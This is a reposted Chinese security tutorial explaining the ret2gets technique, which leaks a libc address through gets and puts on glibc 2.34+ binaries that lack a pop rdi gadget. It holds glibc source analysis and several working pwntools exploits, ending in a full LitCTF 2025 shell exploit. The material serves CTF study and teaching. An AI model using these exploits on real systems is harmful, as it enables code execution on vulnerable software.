Ret2gets 的原理与利用方法

admin 2025年6月30日20:20:29评论1 views字数 18662阅读62分12秒阅读模式

ret2gets是一种利用glibc优化特性(高版本编译器)的漏洞利用技术,核心是通过gets函数配合printf/puts实现libc地址泄露。该技术适用于:

1.存在栈溢出漏洞

2.程序包含gets函数

3.缺乏直接控制rdi寄存器的gadget(如pop rdi; ret

技术原型参考: ret2gets | pwn-notesret2gets | pwn-notes演示程序:ret2gets_demo:  https://pan.baidu.com/s/1rf8JEi1sGBZdM-MxpnjMTg?pwd=xidp 提取码: xidp

程序中 pop rdi; ret 的来源

// gcc demo.c -o demo -no-pie -fno-stack-protector#include <stdio.h>intmain() {char buf[0x20];puts("ROP me if you can!");gets(buf);}

我们正常会采用的方法很简单就是ret2libc

我们会利用gets的溢出,使用程序的里面的gadget来构造puts(func_got_addr)来泄露某一函数在的libc地址从而获取libc基地址,再控制程序返回,再来一次溢出使用gadget构造system('/bin/sh')以此来获得远程的shell。

但是对于这个程序编译之后我们会遇到一个问题,下面我们使用ROPgadget来查看一下我们可用的gadget。

$ ROPgadget --binary demoGadgets information============================================================0x00000000004010ab :add bh, bh ; loopne 0x401115 ; nop ; ret0x0000000000401037 :add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x4010200x000000000040115f :add byte ptr [rax], al ; add byte ptr [rax], al ; leave ; ret0x0000000000401078 :add byte ptr [rax], al ; add byte ptr [rax], al ; nop dword ptr [rax; ret0x0000000000401160 :add byte ptr [rax], al ; add cl, cl ; ret0x000000000040111a :add byte ptr [rax], al ; add dword ptr [rbp -0x3d], ebx ; nop ; ret0x0000000000401039 :add byte ptr [rax], al ; jmp 0x4010200x0000000000401161 :add byte ptr [rax], al ; leave ; ret0x000000000040107a :add byte ptr [rax], al ; nop dword ptr [rax; ret0x0000000000401034 :add byte ptr [rax], al ; push 0 ; jmp 0x4010200x0000000000401044 :add byte ptr [rax], al ; push 1 ; jmp 0x4010200x0000000000401009 :add byte ptr [rax], al ; test rax, rax ; je 0x401012 ; call rax0x000000000040111b :add byte ptr [rcx], al ; pop rbp ; ret0x0000000000401162 :add cl, cl ; ret0x00000000004010aa :add dil, dil ; loopne 0x401115 ; nop ; ret0x0000000000401047 :add dword ptr [rax], eax ; add byte ptr [rax], al ; jmp 0x4010200x000000000040111c :add dword ptr [rbp -0x3d], ebx ; nop ; ret0x0000000000401117 :add eax, 0x2f03 ; add dword ptr [rbp -0x3d], ebx ; nop ; ret0x0000000000401118 :add ebp, dword ptr [rdi; add byte ptr [rax], al ; add dword ptr [rbp -0x3d], ebx ; nop ; ret0x0000000000401013 :add esp, 8 ; ret0x0000000000401012 :add rsp, 8 ; ret0x00000000004010a8 :and byte ptr [rax + 0x40], al ; add bh, bh ; loopne 0x401115 ; nop ; ret0x0000000000401010 :call rax0x0000000000401133 :cli ; jmp 0x4010c00x0000000000401130 :endbr64 ; jmp 0x4010c00x000000000040100e :je 0x401012 ; call rax0x00000000004010a5 :je 0x4010b0 ; mov edi, 0x404020 ; jmp rax0x00000000004010e7 :je 0x4010f0 ; mov edi, 0x404020 ; jmp rax0x000000000040103b :jmp 0x4010200x0000000000401134 :jmp 0x4010c00x00000000004010ac :jmp rax0x0000000000401163 :leave ; ret0x00000000004010ad :loopne 0x401115 ; nop ; ret0x0000000000401116 :mov byte ptr [rip + 0x2f03], 1 ; pop rbp ; ret0x000000000040115e :mov eax, 0 ; leave ; ret0x00000000004010a7 :mov edi, 0x404020 ; jmp rax0x00000000004010af :nop ; ret0x000000000040112c :nop dword ptr [rax; endbr64 ; jmp 0x4010c00x000000000040107c :nop dword ptr [rax; ret0x00000000004010a6 :or dword ptr [rdi + 0x404020], edi ; jmp rax0x000000000040111d :pop rbp ; ret0x0000000000401036 :push 0 ; jmp 0x4010200x0000000000401046 :push 1 ; jmp 0x4010200x0000000000401016 :ret0x0000000000401042 :ret 0x2f0x0000000000401022 :retf 0x2f0x000000000040100d :sal byte ptr [rdx + rax -1], 0xd0 ; add rsp, 8 ; ret0x0000000000401169 :sub esp, 8 ; add rsp, 8 ; ret0x0000000000401168 :sub rsp, 8 ; add rsp, 8 ; ret0x000000000040100c :test eax, eax ; je 0x401012 ; call rax0x00000000004010a3 :test eax, eax ; je 0x4010b0 ; mov edi, 0x404020 ; jmp rax0x00000000004010e5 :test eax, eax ; je 0x4010f0 ; mov edi, 0x404020 ; jmp rax0x000000000040100b :test rax, rax ; je 0x401012 ; call raxUnique gadgets found:53

在以往我们想要构造函数调用,不论是puts(func_got_addr)还是system('/bin/sh')我们首先需要的一点就是控制rdi寄存器。

而我们往往是使用pop rdi;ret这个gadget来控制rdi寄存器的,但是显然,上面的程序是没有的。

如果我们再仔细观察我们会发现其实下面这三个我们常用的gadget都没有了

pop rdi; retpop rsi; pop r15; retpop rbp; pop r12; pop r13; pop r14; ret

这是由于程序中的pop rdi ;ret它大概的位置在<__libc_csu_init+99>: pop rdi也就是说它存在于__libc_csu_init这个函数中。

__libc_csu_init 的汇编0x0000000000400670 <+0>:push   r150x0000000000400672 <+2>:push   r140x0000000000400674 <+4>:mov    r15d,edi0x0000000000400677 <+7>:push   r130x0000000000400679 <+9>:push   r120x000000000040067b <+11>:lea    r12,[rip+0x20078e]        # 0x600e100x0000000000400682 <+18>:push   rbp0x0000000000400683 <+19>:lea    rbp,[rip+0x20078e]        # 0x600e180x000000000040068a <+26>:push   rbx0x000000000040068b <+27>:mov    r14,rsi0x000000000040068e <+30>:mov    r13,rdx0x0000000000400691 <+33>:sub    rbp,r12   0x0000000000400694 <+36>:sub    rsp,0x8   0x0000000000400698 <+40>:sar    rbp,0x3   0x000000000040069c <+44>:call   0x4004b0 <_init>   0x00000000004006a1 <+49>:test   rbp,rbp   0x00000000004006a4 <+52>:je     0x4006c6 <__libc_csu_init+86>   0x00000000004006a6 <+54>:xor    ebx,ebx   0x00000000004006a8 <+56>:nop    DWORD PTR [rax+rax*1+0x0]   0x00000000004006b0 <+64>:mov    rdx,r13   0x00000000004006b3 <+67>:mov    rsi,r14   0x00000000004006b6 <+70>:mov    edi,r15d   0x00000000004006b9 <+73>:call   QWORD PTR [r12+rbx*8]   0x00000000004006bd <+77>:add    rbx,0x1   0x00000000004006c1 <+81>:cmp    rbx,rbp   0x00000000004006c4 <+84>:jne    0x4006b0 <__libc_csu_init+64>   0x00000000004006c6 <+86>:add    rsp,0x8   0x00000000004006ca <+90>:pop    rbx   0x00000000004006cb <+91>:pop    rbp   0x00000000004006cc <+92>:pop    r12   0x00000000004006ce <+94>:pop    r13   0x00000000004006d0 <+96>:pop    r14   0x00000000004006d2 <+98>:pop    r15   0x00000000004006d4 <+100>:ret

我们观察它的汇编代码其实不难发现,它其中并未含有pop rdi ; ret这个gadget其实它来自于pop r15;的一部分。

对比下面字节码我们就可以知道,pop rdi; ret的字节码和pop r15; ret后半部分相同,所以把pop r15; ret截下来一半就是pop rdi;ret。

pop r15 ; ret = 41 5f c3pop rdi ; ret = 5f c3

而在glibc 2.34 中pop rdi; ret消失的根本原因是一个补丁移除了__libc_csu_init的二进制生成。

该补丁旨在删除ret2csu的有用 ROP 小工具,并具有删除针对 glibc 2.34+ 编译的二进制文件中的pop rdi ; ret的效果。

这将导致一些问题,例如__libc_start_main,它将__libc_csu_init作为参数。现在它不存在,它仍然接受参数,但对它没有任何作用,所以它在 2.34 中被版本优化了,因为它现在有不同的行为。这意味着我们不能够在较旧的 glibc 版本上运行为 2.34+ 编译的二进制文件,否则你会得到非常烦人的错误, 如下:

/lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found

现在我们知道在程序中由于__libc_csu_init函数被优化了,所以我们已经没办法在编译后的程序中找到pop rdi;ret了。

但是没有关系,__libc_csu_init并非是pop rdi;ret的唯一来源,显然按照我们上面的解释,哪里有pop r15那么哪里就会有pop rdi。

虽然程序中没有pop rdi

但是glibc自身含大量使用r15的函数,必存pop r15; ret,泄露libc基址后,即可定位libc中的pop rdi; ret偏移。

所以我们最大的问题还是需要溢出。

ret2gets原理和利用方法

让我们来调试一下我们的demo(glibc-2.35)

通过下图我们可以看到,在调用gets函数之前我们的rdi寄存器是指向了栈地址

Ret2gets 的原理与利用方法

我们使用n步过call gets然后我们就会观察发现rdi寄存器变成了_IO_stdfile_0_lock

也就是下图的*RDI  0x7ffff7e1ba80 (_IO_stdfile_0_lock) ◂— 0

Ret2gets 的原理与利用方法

_IO_stdfile_0_lock其实是一个'锁',用来锁住FILE

这是因为我们的glibc是支持多线程的,因此我们需要保证线程安全,这意味着我们需要抵抗数据竞争,当多个线程可以同时使用相同的FILE结构,因此如果2个线程尝试同时使用一个FILE,这就叫竞争条件,这可能造成FILE的损坏。而我们使用锁来解决这个问题。

而我们重点需要关注一个叫做_IO_lock_t的结构体

具体如下:

typedef struct {int lock;int cnt;void *owner;} _IO_lock_t;

实际上我们被优化后的gets函数执行之后rdi寄存器所指向的_IO_stdfile_0_lock其实就是FILE结构体_IO_lock_t *_lock;

而这个结构体的里面的这个owner在一定条件下它存储的是TLS的地址, 而TLS的地址libc基地址的偏移是固定的,所以如果我们可以控制程序流,那么我们可以采用下面思路:

1.执行一次gets,这时rdi寄存器指向这个_lock

2.我们再执行一次gets,这样就可以往_lock里面写东西用来填充,如果程序中有printf我们甚至可以写入%p等格式化字符串来泄露地址

3.如果我们是调用puts那么在上面第二次gets的时候就可以填充一些特定的东西绕过一些检测,从而是的puts可以输出存放在owner中的TLS地址

由此我们已经知道大致的利用思路和漏洞的大概,下面就是通过源码分析来了解我们需要绕过什么保护从而达到我们想要的效果。

gets源码分析

_IO_stdfile_0_lock从哪来的

下面以gets的源码为例展开分析,源码地址gets(链接glibc为 2.35)

char *_IO_gets (char *buf){size_t count;int ch;char *retval;  _IO_acquire_lock (stdin);     // 对标准输入流stdin加锁,防止多线程环境下多个线程同时操作输入流导致数据竞争  ch = _IO_getc_unlocked (stdin);  // 通过_IO_getc_unlocked无锁方式读取第一个字符// 若首字符是EOF(文件结束符或输入错误),直接返回NULL// 若首字符是换行符n,则count=0,表示空字符串if (ch == EOF)    {      retval = NULL;goto unlock_return;    }if (ch == 'n')    count = 0;else    {/* This is very tricky since a file descriptor may be in the     non-blocking mode. The error flag doesn't mean much in this     case. We return an error only when there is a new error. */int old_error = stdin->_flags & _IO_ERR_SEEN;      stdin->_flags &= ~_IO_ERR_SEEN;      buf[0] = (char) ch;      count = _IO_getline (stdin, buf + 1, INT_MAX, 'n'0) + 1;if (stdin->_flags & _IO_ERR_SEEN)    {      retval = NULL;goto unlock_return;    }else    stdin->_flags |= old_error;    }  buf[count] = 0;  retval = buf;unlock_return:  _IO_release_lock (stdin);return retval;}

在函数的开头,它使用_IO_acquire_lock,在函数结束时,它使用_IO_release_lock。这个想法是, 获取锁会告诉其他线程stdin当前正在使用中,并且尝试访问stdin的任何其他线程将被迫等待,直到该线程释放锁,告诉其他线程stdin不再使用。

_IO_acquire_lock/_IO_release_lock

这些stdio-lock.h - sysdeps/nptl/stdio-lock.h - Glibc source code glibc-2.35 - Bootlin Elixir Cross Referencerhttps://elixir.bootlin.com/glibc/glibc-2.35/source/sysdeps/nptl/stdio-lock.h#L88如下:

#  define _IO_acquire_lock(_fp) do {          FILE *_IO_acquire_lock_file          __attribute__((cleanup (_IO_acquire_lock_fct)))          = (_fp);          _IO_flockfile (_IO_acquire_lock_file);else#  ...endifdefine _IO_release_lock(_fp) ; } while (0)

从中可以得出_IO_flockfilehttps://elixir.bootlin.com/glibc/glibc-2.35/source/libio/libio.h#L282_IO_acquire_lock_fcthttps://elixir.bootlin.com/glibc/glibc-2.35/source/libio/libio.h#L284两个重要功能。

__attribute__((cleanup))可能看起来很奇怪,但它所做的只是在人工do-while(0)块结束时(基本上在 IO 函数结束时)在_fp上调用_IO_acquire_lock_fct

staticinline void__attribute__ ((__always_inline__))_IO_acquire_lock_fct (FILE **p){  FILE *fp = *p;if ((fp->_flags & _IO_USER_LOCK) == 0)    _IO_funlockfile (fp);}

用于锁定和解锁的 2 个宏是_IO_flockfile和_IO_funlockfile。

define _IO_flockfile(_fp) if (((_fp)->_flags & _IO_USER_LOCK) == 0) _IO_lock_lock (*(_fp)->_lock)define _IO_funlockfile(_fp) if (((_fp)->_flags & _IO_USER_LOCK) == 0) _IO_lock_unlock (*(_fp)->_lock)

_IO_USER_LOCK=0x8000是一个宏,它似乎表明是否应该使用内置锁定。这通常在内部使用,例如在printf中的帮助程序流中,这通常在内部使用,例如在printf中的帮助程序流中。但是不重要我们学习ret2gets需要了解这些,因为此检查将始终通过stdin(或任何与此相关的标准流)。最后,我们来看看我们关心的宏:_IO_lock_lock_IO_lock_unlock

_IO_lock_lock和_IO_lock_unlock定义为:

#define _IO_lock_lock(_name) do {      void *__self = THREAD_SELF;      if ((_name).owner != __self)            {          lll_lock ((_name).lock, LLL_PRIVATE);              (_name).owner = __self;            }          ++(_name).cnt;        } while (0)#define _IO_lock_unlock(_name) do {      if (--(_name).cnt == 0)            {              (_name).owner = NULL;          lll_unlock ((_name).lock, LLL_PRIVATE);            }        } while (0)

请注意,_name就是锁本身(也就是我们刚刚说的_IO_lock_t *_lock),在gets的情况下,也就是_IO_stdfile_0_lock

如果ownerTHREAD_SELF不同(即 lock 由不同的线程拥有),它会等待该线程使用lll_lock解锁,然后声明锁的所有权。解锁时,它会删除其所有权,并发出信号表明它不再与lll_unlock一起使用。

观察源码可知_IO_lock_unlock是大多数IO函数(包括gets)的末尾调用的内容,所以它是返回之前最后一个对寄存器有影响的函数,所以探究rdi寄存器为什么保存_IO_stdfile_0_lock就需要从这个函数入手。

直接观察gets函数结尾,我们发现gets函数最后退出的时候是不会改变rdi寄存器的

Ret2gets 的原理与利用方法

这里是gets调用_IO_lock_unlock的部分汇编代码

Ret2gets 的原理与利用方法

这部分代码中rbp存储了stdin的地址,因此0x080656这里的test是检查_IO_USER_LOCK_

0x08065F地址处是rbp+0x88我们知道_Lock就存储在FILE结构体(stdin就属于FILE结构体)的0x88偏移处

这里展示一下FILE结构体

struct _IO_FILE {int _flags;       //用来表示当前用于存储与文件流相关的标志,比如:当前文件流是有缓冲还是无缓冲,文件流是否支持读取,文件流是否遇到了错误等等具体在下面有所列举#define _IO_file_flags _flags/* The following pointers correspond to the C++ streambuf protocol. *//* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */char* _IO_read_ptr;   //指向当前读取位置的指针char* _IO_read_end;   //指向读取缓冲区结束位置的指针char* _IO_read_base;  //指向读取缓冲区开始位置的指针,通常三个一起使用来进行数据的读取操作,其中base和end分别标记了起始和终点的位置,ptr则进行数据的遍历。char* _IO_write_base; //指向当前写入位置的指针。char* _IO_write_ptr;  //指向写入缓冲区结束位置的指针。char* _IO_write_end;  //指向写入缓冲区结束位置的指针。同上三个一起完成数据的写入操作。char* _IO_buf_base;   //指向整个缓冲区(包括读取和写入缓冲区)开始位置的指针。char* _IO_buf_end;    //指向整个缓冲区结束位置的指针。/* The following fields are used to support backing up and undo. */char *_IO_save_base; //指向旧读取区域的开始位置的指针,用于标记/回退功能。char *_IO_backup_base;  //指向备份区域的第一个有效字符的指针。char *_IO_save_end; //指向非当前读取区域的结束位置的指针。struct _IO_marker *_markers;    //指向文件流的标记链表的头指针,用于流中的标记和定位。struct _IO_FILE *_chain;        //指向下一个 _IO_FILE 结构体的指针,用于维护一个文件流链表。int _fileno;              //存储与此文件流相关联的文件描述符。#if 0int _blksize;          #elseint _flags2;               //存储与此文件流相关联的文件描述符。#endif  _IO_off_t _old_offset;   //存储旧的文件偏移量,用于定位操作#define __HAVE_COLUMN /* temporary */     /* 1+column number of pbase(); 0 is unknown. */unsignedshort _cur_column;       //存储旧的文件偏移量,用于定位操作signedchar _vtable_offset;       //存储虚拟函数表(vtable)的偏移量。char _shortbuf[1];                //一个小型的字符数组,用于在没有分配完整缓冲区时的简单操作。/*  char* _save_gptr;  char* _save_egptr; */  _IO_lock_t *_lock;                 //指向互斥锁的指针,用于线程安全。  # 最后gets执行结束之后rdi就是指向这里#ifdef _IO_USE_OLD_IO_FILE};

所以这里rdi变成了stdin._lock也就是变成了_IO_stdfile_0_lock

具体信息可通过下图gdb调试来得到,现在我们知道了_IO_stdfile_0_lock的来源

Ret2gets 的原理与利用方法

注意在_IO_lock_unlock函数结束后下面还有一个__lll_lock_wait_private函数,但是没有关系,因为这个函数并不会破坏rdi

Ret2gets 的原理与利用方法

为什么_IO_stdfile_0_lock要放入到rdi寄存器里面

上面我们分析的_IO_stdfile_0_lock的来源,但是为什么要把_lock会被加载到RDI中?

猜测这是编译器优化的结果,在调用lll_unlock的情况下,_lock的地址作为唯一的参数直接传递给futex包装器(即通过rdi寄存器)。因此,它将_lock加载到rdi中,这样它就不需要使用额外的assignment来准备对futex的调用,例如mov rdi, [register containing _lock],从而节省了空间和时间。

下面来看一下2.30之前的glibc中的_IO_lock_unlock

Ret2gets 的原理与利用方法

上图是glibc-2.29的_IO_lock_unlock函数

我们可以看到它不是将其加载到rdi中,而是使用mov rdx,[rbp+0x88]将其加载到rdx中,然后使用lea rdi,[rdx]加载到rdi中,这也说明_lock只有在非常特定的条件下才会被加载到rdi中,所以ret2gets并非在所有版本的glibc中都使用,它可能仅在部分高版本中适用。

ret2gets的具体利用方法

上面就是gets函数源码的大致流程,那么通过分析我们就知道我们需要绕过的检测其实就是_IO_lock_lock_IO_lock_unlock两个函数。

#define _IO_lock_lock(_name) do {      void *__self = THREAD_SELF;      if ((_name).owner != __self)            {          lll_lock ((_name).lock, LLL_PRIVATE);              (_name).owner = __self;            }          ++(_name).cnt;        } while (0)#define _IO_lock_unlock(_name) do {      if (--(_name).cnt == 0)            {              (_name).owner = NULL;          lll_unlock ((_name).lock, LLL_PRIVATE);            }        } while (0)

1.由于_IO_lock_unlock有一个--(_name).cnt == 0一旦这个判断成功那么我们的owner就会变成NULL我们就无法再后续的puts中拿到TLS地址,也就是说我们需要覆盖_IO_lock_t结构体的cnt不能为1

2.我们需要注意_IO_lock_t结构体 在owner参数之前不能有x00否则puts输出的时候会被截断

3.我们输入的数据第五个字节会被减去1(也就是cnt会被减去1)

对于第三条我们依旧使用之前的这个例子来证明

int main() {    char buf[0x20];puts("ROP me if you can!");gets(buf);}
from pwn import *e = context.binary = ELF('demo')p = e.process()# 由于最后一个调用的函数是gets,所以最后main函数返回的时候 rdi 就是指向我们的 _IO_lock_t 结构体地址# 所以我们只需要溢出之后调用一次gets就可以往 _IO_lock_t 里面写入东西了payload  = b"A" * 0x20payload += p64(0)# saved rbppayload += p64(e.plt.gets)p.sendlineafter(b"ROP me if you can!n", payload)gdb.attach(p)p.sendline(b"/bin" + p8(u8(b"/")+1) + b"sh")# 这里第五个字节会被-1所以传入的时候需要+1# 我们传入 /bin0sh 字符串p.interactive()

下面进入调试看看我们打入的bin0sh字符串会如何变化 (下面这是两张截图拼一起了,看起来有点怪,将就一下)

Ret2gets 的原理与利用方法

总之我们可以知道,我们的第五个字符会被减去1

所以如果我们希望利用puts函数来泄露出owner中存储的TLS地址那么我们可以使用下面这个payload。

p.sendline(b"A" * 4 + b"x00"*3)# 这里填充 x00x00x00 开头本来就是x00

而这个payload会让我们的_IO_lock_t结构体中的lock赋值为AAAA而将cnt变为x00x00x00x00

这个时候cnt-1反而会让x00x00x00x00通过整数溢出变成xffxffxffxff

Ret2gets 的原理与利用方法

这样我们就可以顺利绕过x00导致的puts函数输出的截断了

所以上述例子泄露TLS地址的exp如下:

# glibc-2.30 to glibc-2.36from pwn import *e = context.binary = ELF('demo')libc = ELF("libc")p = e.process()payload  = b"A" * 0x20payload += p64(0)# saved rbppayload += p64(e.plt.gets)payload += p64(e.plt.puts)p.sendlineafter(b"ROP me if you can!n", payload)p.sendline(b"A" * 4 + b"x00"*3)p.recv(8)tls = u64(p.recv(6) + b"x00x00")log.info(f"tls: {hex(tls)}")libc.address = tls + 0x28c0log.info(f"libc: {hex(libc.address)}")p.interactive()

上述exp在 2.35 上进行了测试,应该适用于 2.30-2.36,但 2.37 将_IO_lock_lock和_IO_lock_unlock更改为:

#define _IO_lock_lock(_name) do {      void *__self = THREAD_SELF;      if (SINGLE_THREAD_P && (_name).owner == NULL)            {          (_name).lock = LLL_LOCK_INITIALIZER_LOCKED;          (_name).owner = __self;            }      else if ((_name).owner != __self)            {          lll_lock ((_name).lock, LLL_PRIVATE);          (_name).owner = __self;            }      else            ++(_name).cnt;        } while (0)#define _IO_lock_unlock(_name) do {      if (SINGLE_THREAD_P && (_name).cnt == 0)            {          (_name).owner = NULL;          (_name).lock = 0;            }      else if ((_name).cnt == 0)            {          (_name).owner = NULL;          lll_unlock ((_name).lock, LLL_PRIVATE);            }      else            --(_name).cnt;        } while (0)

仅当cnt != 0时,cnt才会递减

这就导致我们没有办法再利用整数溢出来绕过x00带来的截断

但是没有关系,我们依旧有办法解决

# glibc-2.37 to glibc-2.39 更高版本未进行尝试from pwn import *e = context.binary = ELF('demo')libc = ELF("libc")p = e.process()payload  = b"A" * 0x20payload += p64(0)# saved rbppayload += p64(e.plt.gets)payload += p64(e.plt.gets)payload += p64(e.plt.puts)p.sendlineafter(b"ROP me if you can!n", payload)p.sendline(p32(0) + b"A"*4 + b"B"*8)p.sendline(b"CCCC")p.recv(8)tls = u64(p.recv(6) + b"x00x00")log.info(f"tls: {hex(tls)}")libc.address = tls + 0x28c0log.info(f"libc: {hex(libc.address)}")p.interactive()

我们来对着上面这个exp调试一下

溢出之后的第一次gets,我们输入了x00x00x00x00AAAABBBBBBBB而第一个A-1变成了0x40

Ret2gets 的原理与利用方法

溢出之后的第二次gets,我们输入了CCCC并且将原本的0x40覆盖成了字符串终止符x00(注意这还没有结束)

Ret2gets 的原理与利用方法

最后执行我们执行cnt-1

Ret2gets 的原理与利用方法

我们发现原本的0x41414100变成了0x414140ff我们依旧是完美的绕过了x00以及各种检测。

额外的情况发生了怎么办呢?

下面我们探讨一个新问题:

虽然我们拥有gets

但是最后程序结束的时候rdi != _IO_stdfile_0_lock怎么办

比如下面这个例子

#include <stdio.h>int main() {    char buf[0x20];puts("ROP me if you can!");gets(buf);func(); // 未知函数,执行之后不知道 rdi 会是什么}

那么会有以下几种情况:

1.rdi虽然不是_IO_stdfile_0_lock但是依旧可写这种情况很简单,溢出之后调用一次gets,rdi就变成_IO_stdfile_0_lock然后思路后续还是一样的思路,2.30-2.36调用gets然后调用puts泄露,2.37+则调用两次gets再调用puts

2.rdi不可写了,但是可读没办法调用gets了,但是我们可以考虑直接使用puts是否会有效果

3.rdi == NULL大多数IO函数已经没办法使用了,但是printf依旧可用printf定义如下:

int__printf (const char *format, ...){  va_list arg;  int done;  va_start (argformat);  done = __vfprintf_internal (stdoutformatarg0);  va_end (arg);return done;}

在源码中我们可以看到它调用了__vfprintf_internal这个函数,并且第一个参数为stdout, 这意味着rdi寄存器将指向stdout

然后在__vfprintf_internal中,我们看到它在早期调用ARGCHECK

intvfprintf (FILE *s, const CHAR_T *format, va_list ap, unsignedint mode_flags){  .../* Sanity check of arguments.  */ARGCHECK (s, format);
#define ARGCHECK(S, Format) do          {      /* Check file argument for consistence.  */            CHECK_FILE (S, -1);      if (S->_flags & _IO_NO_WRITES)          {            S->_flags |= _IO_ERR_SEEN;            __set_errno (EBADF);      return -1;          }      if (Format == NULL)          {            __set_errno (EINVAL);      return -1;          }          } while (0)

通过上面代码我们不难得到结论,如果format == NULL那么printf函数会被强制返回,也就是说并不会导致错误,而且由于__vfprintf_internal的第一个参数为stdout也就是说强制返回的时候rdi将指向stdout下面我们来写一段代码验证。

// gcc -Wno-nonnull -Wno-format-overflow -o printf_test printf_test.c#include <stdio.h>intmain() {    printf(NULL);}

显然,我们的结论是成立的

Ret2gets 的原理与利用方法Ret2gets 的原理与利用方法

那么也就是说这里我们可以再次调用gets,然后就可以控制_IO_2_1_stdout_熟悉IO的师傅应该可以知道,控制了这个之后如果条件允许我们是可以打FSOP的,当然这里不详细展开。

当然还有别的情况,这里不在过多介绍,感兴趣的师傅可以看看我参考的文章讲解的更加详细。

下面推荐一个题目是2025 LitCTFmaster of rop

[LitCTF 2025]master_of_rop | NSSCTF

懒得分析了,直接贴exp

但是很怪,本地打不通,远程却可以通

from xidp import *#---------------------初始化----------------------------arch = 64 elf_os = 'linux'challenge = "./pwn2"libc_path = './libc.so.6'ip = 'node4.anna.nssctf.cn:28093'# 1-远程 其他-本地link = 1io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)debug(0)            # 其他-debug   1-info# context.terminal = ['tmux', 'splitw', '-h']#---------------------初始化-----------------------------#---------------------debug------------------------------# 自定义cmdcmd = """    set follow-fork-mode parentn    """# 断点bps = []#---------------------debug-------------------------------gets_plt = elf.plt['gets']puts_plt = elf.plt['puts']leak("gets_plt")leak("puts_plt")main_addr = 0x04011AD payload  = b"A" * 0x28payload += p64(gets_plt)payload += p64(gets_plt)payload += p64(puts_plt)payload += p64(main_addr)io.sendlineafter(b"Welcome to LitCTF2025!n", payload)io.sendline(p32(0) + b"A"*4 + b"B"*8)io.sendline(b"CCCC")io.recv(8)tls = u64(io.recv(6) + b"x00x00")leak("tls")libc_base = tls + 0x28c0leak("libc_base")system_addr = libc_base + libc.symbols['system']    bin_sh_addr = libc_base + next(libc.search(b"/bin/sh"))pop_rdi_ret = libc_base + 0x000000000010f75b#: pop rdi; ret;ret = libc_base + 0x000000000002882f#: ret;payload  = b"A" * 0x28 payload += p64(pop_rdi_ret) payload += p64(bin_sh_addr) payload += p64(ret) payload += p64(system_addr)# pwndbg(1, bps, cmd)io.sendlineafter(b"Welcome to LitCTF2025!n", payload)ia()

Ret2gets 的原理与利用方法

参考:ret2gets | pwn-noteshttps://sashactf.gitbook.io/pwn-notes/pwn/rop-2.34+/ret2gets#sidenote-on-finding-locking-functions

Ret2gets 的原理与利用方法

看雪ID:XiDP

https://bbs.kanxue.com/user-home-1005607.htm

*本文为看雪论坛优秀文章,由 XiDP 原创,转载请注明来自看雪社区
Ret2gets 的原理与利用方法
议题征集中!看雪·第九届安全开发者峰会

#

原文始发于微信公众号(看雪学苑):Ret2gets 的原理与利用方法

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月30日20:20:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Ret2gets 的原理与利用方法https://cn-sec.com/archives/4214269.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息